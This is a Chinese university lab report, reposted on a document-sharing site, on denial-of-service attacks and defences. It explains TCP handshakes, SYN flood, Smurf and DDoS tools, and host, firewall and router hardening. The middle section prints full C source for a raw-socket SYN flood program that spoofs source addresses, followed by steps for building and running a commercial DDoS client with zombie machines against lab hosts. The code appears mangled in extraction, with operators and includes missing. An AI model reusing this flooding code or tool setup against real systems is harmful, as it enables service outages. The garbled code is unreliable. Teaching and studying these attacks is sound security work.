《拒绝服务攻击与防范(共21页).doc》由会员分享,可在线阅读,更多相关《拒绝服务攻击与防范(共21页).doc(21页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、精选优质文档-倾情为你奉上贵州大学实验报告学院:计算机科学与技术学院 专业:信息安全 班级:姓名学号实验组实验时间2015.06.17指导教师蒋朝惠成绩实验项目名称实验十 拒绝服务攻击与防范实验目的(一) 拒绝服务(DoS)攻击与防范通过本实验的学习, 使大家了解拒绝服务攻击的原理以及相应的防范方法。通过一个SYN Flood的拒绝服务程序, 使大家加强对Dos攻击的理解。(二) 分布式服务(DDoS)攻击与防范通过本实验的学习, 使大家了解分布式拒绝服务(DDoS)攻击的原理以及相应的防范方法。实验要求通过实验,理解和掌握DoS和DDoS的攻击原理以及相应的防范方法实验原理(一) 拒绝服务(
2、DoS)攻击与防范1. TCP协议介绍传输控制协议是用来在不可靠的Internet上提供可靠的、端到端的字节流通信协议,在FRC 793中有正式定义,还有一些解决错误的方案在RFC1122中有记录,RFC1323则有TCP的功能扩展。常见到的TCP/IP协议中,IP层不保证将数据报正确传输到目的地TCP则从本地机器接收用户的数据流,将其分成不超过64KB的数据字段,将每个数据片段作为单独的IP数据包发送出去,最后在目的地机器中将其再组合成完整的字节流,TCP协议必须保证可靠性。发送方和接收方的TCP传输以数据段的形式交换数据,i一个数据段包括固定20字节,加上可选部分,后面再加上数据。TCP协
3、议从发送方传输一个数据耳朵时候,其中有一个确认号,它等于希望收到的下一个数据段的序号,接收方还要发送回一个数据段,其中有一个确认号,它等于希望收到的下一个数据段的顺序号。如果计时器在确认信息到达以前超时了,发送方会重新发送这个数据段。从上面的内容可以在总体上了解一点TCP,重要的是熟悉TCP的数据头。因为数据流的传输最重要的就是header里面的东西,至于发送的数据,只是TCP数据头附带上的、客户端和服务器端的服务响应就是痛header里面的数据有关,两端信息交流和交换是根据header中内容实施的,因此,要了解DoS攻击原理,就必须对TCP的header中的内容非常熟悉。有关TCP数据段头格
4、式参见7.1.3节内容。TCP连接采用“3次握手”,其原理步骤如下所述。在没有连接时,接受方服务器处于监听状态,等待其它机器发送连接请求。第一步,客户端发送一个带SYN位的请求,向服务器表示需要连接。第二步,服务器接收到这样的请求后,查看监听的端口是否为指定端口,如果不是,则发送RST=1应答,拒绝建立连接。如果是,那么服务器发送确认,SYN为服务器的一个内码,假设为100,ACK位则为客户端的请求序号加1,本例中发送的数据是:SYN=11,ACK=100,用这样的数据发送给客户端。向客户端标明,服务器连接已准备好,等待客户端的确认。这时客户端接收到信息后,分析得到的信息,准备发送确认连接信号
5、到服务器。第三步,客户端发送确认信息建立连接的消息给服务器端,确认信息的SYN位是服务器发送的ACK位,ACK位是服务器发送的SYN位加1.级:SYN=11,ACK=101。这时,连接已经建立好了,可以进行发送数据的过程。服务器不会在每次接收到SYN请求就立刻恢复客户端建立连接,而是为连接请求分配内存空间,建立会话,并放到一个队列中。如果等待队列已经满了,那么服务器就不会再为新的连接分配资源,直接丢弃请求。如果到了这种地步,那么服务器就是拒绝服务了。2. 拒绝服务(DoS)攻击(1)DoS的基本概念DoS的英文全称是denial of service,也就是“拒绝服务”的意思。从网络攻击的各种
6、方法和所产生的破坏情况来看,DOS算是一种很简单但又很有效的攻击方式。它的目的就是拒绝服务访问,破坏服务程序正常运行,最终它会使部分Internet连接和网络系统失效。DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的资源,从而使合法用户无法得到服务。DoS攻击的基本过程是:攻击者向服务器发送众多的带有虚假地址请求,服务器发送回复请求后等待回传信息,由于地址是伪造的,所以服务器一直等不到回传的消息,分配给这次请求的资源就始终没被释放。当服务器等待一段时间后,连接会因超时而呗切断,攻击者会再传送一批新的请求,在这种反复发送伪地址请求的情况下,服务器资源会最终被耗尽。被
7、DOS攻击事的现象大致有:被攻击主机上有大量等待的TCP连接。被攻击主机的系统资源被大量占用,造成系统停顿。网络充斥着大量无用的数据包,源地址为伪造地址。大量无用数据使得网络拥塞,受害主机无法与外界进行通信。利用受害主机提供的服务或传输协议上的缺陷,反复高速地发送特定的服务请求,使受害主机无法及时处理所有正常请求,严重时会造成系统崩溃。(2)拒绝服务攻击的基本方法要对服务器实现拒绝服务攻击,实质上有两种方式:一是迫使服务器的缓冲区满,不接受新的请求;二是使用IP欺骗,迫使服务器把合法的连接复位,影响合法用户的连接。这就是DoS攻击实施的基本思想。具体实现有一下几种方法:SNY Flood。编写
8、发包程序,设置TCP的Header,向服务器端不断成倍地发送只有SYN标志的TCP请求。当服务器接收的时候,都认为是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲队列中。如果SYN请求超过了服务器能容纳的限度,缓冲区队列占满,那么服务器就不再接收新请求了,其他合法用户的连接都被拒绝掉。IP欺骗DoS攻击。这种攻击利用RST位来实现。假设现在只有有一个合法用户(1.1.1.1)已经同服务器建立了正常的连接,攻击者构造攻击的TCP数据,伪装自己的IP为1.1.1.1,并向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后。认为从1.1.1.1发送的连接错误,就会清空缓冲区
9、中建好的连接。这时。如果合法用户1.1.1.1再发送合法数据;服务器就已经没有这样的连接了,该用户就必须重新开始建立连接。使用这种攻击方式时,需要伪造大量的IP地址,向目标发送RST数据,可以使服务器不对合法用户服务。Smurf。广播信息可以通过一定的手段发送到整个网络机器中。当某台机器使用广播地址发送一个ICMP echo 请求包时,一些系统会回应一个ICMP echo回应包。自身消耗的DoS攻击。这种DoS攻击就是把请求数据包中的客户端IP和端口设置成主机自己IP和端口,再发送给主机,使得主机给自己发送TCP相应和连接。这样,主机就会很快把资源耗光,直接导致死机。这种伪装攻击对一些身份认证
10、系统威胁巨大。塞满服务器的硬盘。通常,如果服务器可以没有限制地执行写操作;那么通过一些手段就可以造成硬盘被写满,从而拒绝服务;比如发送垃圾邮件。合理利用策略。一般服务器都有关于账户锁定的安全策略,比如某个账户连续3次登陆失败,那么这个账号将被锁定。这点也可以被破坏者利用,他们伪装一个账号去错误登陆,这样使得这个账号被锁定,而正常的合法用户就不能使用账号去登陆系统了。(3)拒绝服务攻击的防范到目前为止,防范DoS特别是DDoS攻击仍比较困难。但仍然可以采取一些措施以降低其产生的危害。对中小型网站来说,可以从以下几个方面进行防范:主机设置。即加固操作系统,对各操作系统参数进行设置以加强系统稳固性。
11、重新编译或设置Linux以及操作各种BSD系统、Solaris等操作系统内核中某些参数,可在一定程度上提高系统的抗攻击能力。例如,对于DoS攻击的典型种类SYN Flood,它利用TCP/IP漏洞发送大量伪造的TCP连接请求,以造成网络无法连接用户服务或使操作系统瘫痪。该攻击过程涉及系统的一下参数:可等待的数据包的链接数和超时等待数据包的时间长度。因此,则进行如下设置:关闭不必要的服务。将数据包的链接数从默认值128或512改为2048或更大,以家常每次处理数据包队列的长度;以缓解和消化更多数据包的连接。将连接超时时间设置得较短,以保证正常数据包的连接,屏蔽非法攻击包。及时更新系统、安装补丁。
12、防火墙设置。仍以SYN Flood为例,可以在在防火墙上进行如下设置:禁止对主机非开放服务的访问。限制同时打开的数据包最大连接数。限制特定IP地址的访问。启用防火墙的防DDoS的属性。严格限制对外开放服务器的向外访问,以防止自己服务器被当作工具攻击他人。Random Drop算法。当流量达到一定阀值时,按照算法规则丢弃后续报文,以保持主机的处理能力。其不足是会误丢正常的数据包,特别是在大流量数据包的攻击下,正常数据包容易随非法数据包被拒之网外。SYN Cookie算法。采用“六次握手”技术以降低受攻击率。其不足是依据列表查询,当数据流量增大时,列表急剧膨胀,计算量随之提升,容易造成响应延迟乃至
13、系统瘫痪。路由器设置。以CISCO路由器为例,可采取如下方法。Cisco Express Forwarding(CEF)。使用Unicasat reverse-path。访问控制列表(ACL)过滤。设置数据流量速率。升级版本过低的IOS。为路由器建立log server。不论防火墙还是路由器都是到外界的接口设备,在进行防DDoS设置的同时,要权衡可能牺牲的正常业务代价,谨慎行事。利用负载均衡技术。就是把应用业务分部到几台不同的服务器上。采用循环DNS服务或者硬件路由器技术,将进入系统的请求分流到多台服务器上。这种方法要求投资较大,相应的维护费也高,中型网站如果有条件可以考虑。以上方法对流量小、
14、正对性强、结构简单的DoS攻击进行防范还是很有效的。而对于DDoS攻击,则需要能够应付大流量的防范措施和技术,需要能够综合多种算法、集多种网络设备功能的集成技术。(二) 分布式服务(DDoS)攻击与防范1. DDoS的基本概念分布式拒绝服务攻击时借助于客户服务器技术,将多个计算机联合起来作为攻击平台,对一个活活在多个目标发动攻击,使成倍的增加攻击能力。2. DDoS的攻击原理(1) Smurf与Fraggle 将一个目的地址设置成广播地址后,它就会被网络中的所有主机接收并处理。其中Smurf是用广播地址发送ICMP ECHO包,而Fraggle是用广播地址发送UDP包。(2) trinoo 是
15、复杂的DDoS攻击程序,它使用主控程序master对实际实施攻击的任何数量的“代理”程序实现自动控制。(3) TFN2K 是一个使用master程序与位于多个网络上的哦国内国际代理进行通信。(4) Stacheldraht 也是基于TFN的,采用C/S模式,其中master程序与潜在的成千上万个代理程序进行通信。3. DDoS系统的一般结构在更一般的情况下,DDoS可能使用多台控制机,形成一个攻击结构。4. DDoS的监测(1) 根据异常情况分析(2) 使用DDoS检测工具5. DDoS攻击的防御策略实验仪器(一) 拒绝服务(DoS)攻击与防范1. 安装有Windows操作系统的PC,编辑工具
16、可选用VC+ 6.0。2. 由hub或交换机组成的有若干台PC局域网。(二) 分布式服务(DDoS)攻击与防范Windows server 2003,风云压力测试DDoS软件,冰盾防火墙实验步骤、内容、数据(一) 拒绝服务(DoS)攻击与防范1. 在一个局域网环境中,根据实验内容中提供的DoS程序,编写一个SYN Flood拒绝服务程序。使用自己编写的DoS程序攻击实验室的一台实验主机,在实验主机上安装一个网络监听工具(如tcpdump等),观测DoS攻击效果。2. 交自己编辑的SYN Flood拒绝服务攻击程序猿代码,并对代码中的关键步骤添加注释,通过网络监听工具观测攻击效果,并对实验结果进
17、行分析。3. SYN Flood程序如下:#include #include #include #include #include #include #pragma comment(lib, ws2_32.lib)#define MAX_RECEIVEBYTE 255 typedef struct ip_head /定义IP首部 unsigned char h_verlen; /4位首部长度,4位IP版本号 unsigned char tos; /8位服务类型TOS unsigned short total_len; /16位总长度(字节) unsigned short ident; /16位
18、标识 unsigned short frag_and_flags; /3位标志位 (如SYN,ACK,等)unsigned char ttl; /8位生存时间 TTL unsigned char proto; /8位协议 (如ICMP,TCP等)unsigned short checksum; /16位IP首部校验和unsigned int sourceIP; /32位源IP地址unsigned int destIP; /32位目的IP地址 IPHEADER;typedef struct tcp_head /定义TCP首部 USHORT th_sport; /16位源端口 USHORT th_
19、dport; /16位目的端口 unsigned int th_seq; /32位序列号 unsigned int th_ack; /32位确认号 unsigned char th_lenres; /4位首部长度/6位保留字 unsigned char th_flag; /6位标志位 USHORT th_win; /16位窗口大小 USHORT th_sum; /16位校验和 USHORT th_urp; /16位紧急数据偏移量 TCPHEADER; typedef struct tsd_head /定义TCP伪首部 unsigned long saddr; /源地址 unsigned lon
20、g daddr; /目的地址 char mbz; char ptcl; /协议类型 unsigned short tcpl; /TCP长度 PSDHEADER;/CheckSum:计算校验和的子函数 USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0; while(size 1) cksum+=*buffer+;size -=sizeof(USHORT); if(size)cksum += *(UCHAR*)buffer; cksum = (cksum 16) + (cksum & 0xffff); cksum +=
21、(cksum 16);return (USHORT)(cksum); void usage() printf(*);printf(SYN_FLOOD MADE BY LionD8);printf(Useage: FLOOD Target_ip Target_port Delay_time );printf(*);/Delay_time单位为毫秒。int main(int argc, char* argv) WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in;IPHEADER ipHeader;TCPHEADER tcpHeader;PSDHEAD
22、ER psdHeader;int SourcePort;char szSendBuf60=0;BOOL flag; int rect,nTimeOver;int sleeptime;usage();if (argc 4 ) printf(input error! );return false; if (argc=4) sleeptime=atoi(argv3); else sleeptime=300;if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) printf(WSAStartup Error!);return false;sock=NULL;if (s
23、ock=socket(AF_INET,SOCK_RAW,IPPROTO_IP)=INVALID_SOCKET)printf(Socket Setup Error!);return false;flag=true; if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag)=SOCKET_ERROR) printf(setsockopt IP_HDRINCL error!);return false; nTimeOver=1000;if (setsockopt(sock, SOL_SOCKET, SO_SNDTIME
24、O, (char*)&nTimeOver, sizeof(nTimeOver)=SOCKET_ERROR) /设置发送的时间 printf(setsockopt SO_SNDTIMEO error!);return false; addr_in.sin_family=AF_INET; addr_in.sin_port=htons(atoi(argv2);addr_in.sin_addr.S_un.S_addr=inet_addr(argv1);while(TRUE)/填充IP首部 ipHeader.h_verlen=(44 | sizeof(ipHeader)/sizeof(unsigned
25、long);ipHeader.tos=0;ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader); /IP总长度ipHeader.ident=1;ipHeader.frag_and_flags=0; /无分片ipHeader.ttl=(unsigned char)GetTickCount()%87+123; ipHeader.proto=IPPROTO_TCP; / 协议类型为 TCPipHeader.checksum=0; /效验位先初始为0ipHeader.sourceIP=htonl(GetTickCount()*); /随
26、机产生一个伪造的IPipHeader.destIP=inet_addr(argv1); /目标IP/填充TCP首部SourcePort=GetTickCount()*43557%9898; /随机产生一个端口号tcpHeader.th_dport=htons(atoi(argv2); /发送的目的端口tcpHeader.th_sport=htons(SourcePort); /源端口号tcpHeader.th_seq=htonl(0x); /序列号tcpHeader.th_ack=0; /确认号tcpHeader.th_lenres=(sizeof(tcpHeader)/44|0);tcpHe
27、ader.th_flag=2; /为SYN请求tcpHeader.th_win=htons(512);tcpHeader.th_urp=0;tcpHeader.th_sum=0;/填充TCP伪首部用来计算TCP头部的效验和psdHeader.saddr=ipHeader.sourceIP;psdHeader.daddr=ipHeader.destIP;psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP;psdHeader.tcpl=htons(sizeof(tcpHeader);/计算校验和 memcpy(szSendBuf, &psdHeader, siz
28、eof(psdHeader); memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader); tcpHeader.th_sum=checksum(USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader); /把伪造好的IP头 和 TCP 头 放进 buf 准备发送memcpy(szSendBuf, &ipHeader, sizeof(ipHeader);memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHea
29、der);/发送数据包rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in);if (rect=SOCKET_ERROR) printf(send error!:%x,WSAGetLastError();return false;elseprintf(send ok!);Sleep(sleeptime); /根据自己网速的快慢确定此值,sleeptime越小发得越快/endwhile /重新伪造IP的源地址等再次向目标发送clo
30、sesocket(sock);WSACleanup();return 0;4. 运行代码得到如下可执行文件:5. 攻击之前,将一台web服务器的服务端口改为1234,如下:6. 访问上面的web服务器如下:7. DoS攻击:8. 最后一个参数60,表示每60ms发送一次,回车后:9. 每60 ms显示一个send ok!表示发送成功。DoS攻击之后,访问之前的web服务器,出现如下情况:表明DOS攻击成功!(二) 分布式服务(DDoS)攻击与防范C1(攻击者)上安装DDoS客户端程序,C2C6(傀儡机)上安装DDoS服务器端,C7(被攻击者)上安装启用冰盾DDoS防火墙,C8(被攻击者)上不使
31、用防火墙。1. C1下载风云压力测试软件,解压后可看见目录下有一生成器文件2. 单击【生成版本】,生成客户端和服务器端软件3. 在装服务器端Service.exe的计算机的host文件最后加入相应域名的客户机IP:192.168.2.8 xxx.3322.org4. 在服务器(C2C6)装上Service.exe,在客户端C1装上“风云vip客户端”。C1(攻击者)单击“开始监听”,攻击目标输入C8(不使用防火墙)ip:192.168.2.735. 使用SYN攻击C6后,用其他计算机ping计算机C6,发现无法连接6. 攻击目标输入C7(安装启用冰盾)ip:192.168.2.807. C7上
32、检测到:思考题(一) 拒绝服务(DoS)攻击与防范1. 如何防止和发现拒绝服务攻击?答:被DOS攻击事的现象大致有:1) 被攻击主机上有大量等待的TCP连接。2) 被攻击主机的系统资源被大量占用,造成系统停顿。3) 网络充斥着大量无用的数据包,源地址为伪造地址。4) 大量无用数据使得网络拥塞,受害主机无法与外界进行通信。5) 利用受害主机提供的服务或传输协议上的缺陷,反复高速地发送特定的服务请求,使受害主机无法及时处理所有正常请求,严重时会造成系统崩溃。防范:主机设置:1) 关闭不必要的服务。2) 将数据包的链接数从默认值128或512改为2048或更大,以家常每次处理数据包队列的长度;以缓解
33、和消化更多数据包的连接。3) 将连接超时时间设置得较短,以保证正常数据包的连接,屏蔽非法攻击包。4) 及时更新系统、安装补丁。防火墙设置。仍以SYN Flood为例,可以在在防火墙上进行如下设置:1) 禁止对主机非开放服务的访问。2) 限制同时打开的数据包最大连接数。3) 限制特定IP地址的访问。4) 启用防火墙的防DDoS的属性。5) 严格限制对外开放服务器的向外访问,以防止自己服务器被当作工具攻击他人。6) Random Drop算法。7) SYN Cookie算法。2. 怎样修改TCP来防止拒绝服务攻击?答: 限制同时打开的SYN半连接数目,缩短SYN半连接的time out 时间。(二
34、) 分布式服务(DDoS)攻击与防范1. DOS与DDOS在原理上的区别有哪些?答:DDOS全名是Distribution Denial of service (分布式拒绝服务攻击),很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击。实验总结通过本次实验, 了解了拒绝服务攻击的原理以及相应的防范方法,并且通过一个SYN Flood的拒绝程序,加强了对DoS及DDoS攻击的理解,进一步巩固了理论知识,并了解了一些攻击的手段和检测的方法,通过实际操作加深理解,收获很大。指导教师意见 签名: 年 月 日单纯的课本内容,并不能满足学生的需要,通过补充,达到内容的完善 教育之通病是教用脑的人不用手,不教用手的人用脑,所以一无所能。教育革命的对策是手脑联盟,结果是手与脑的力量都可以大到不可思议。专心-专注-专业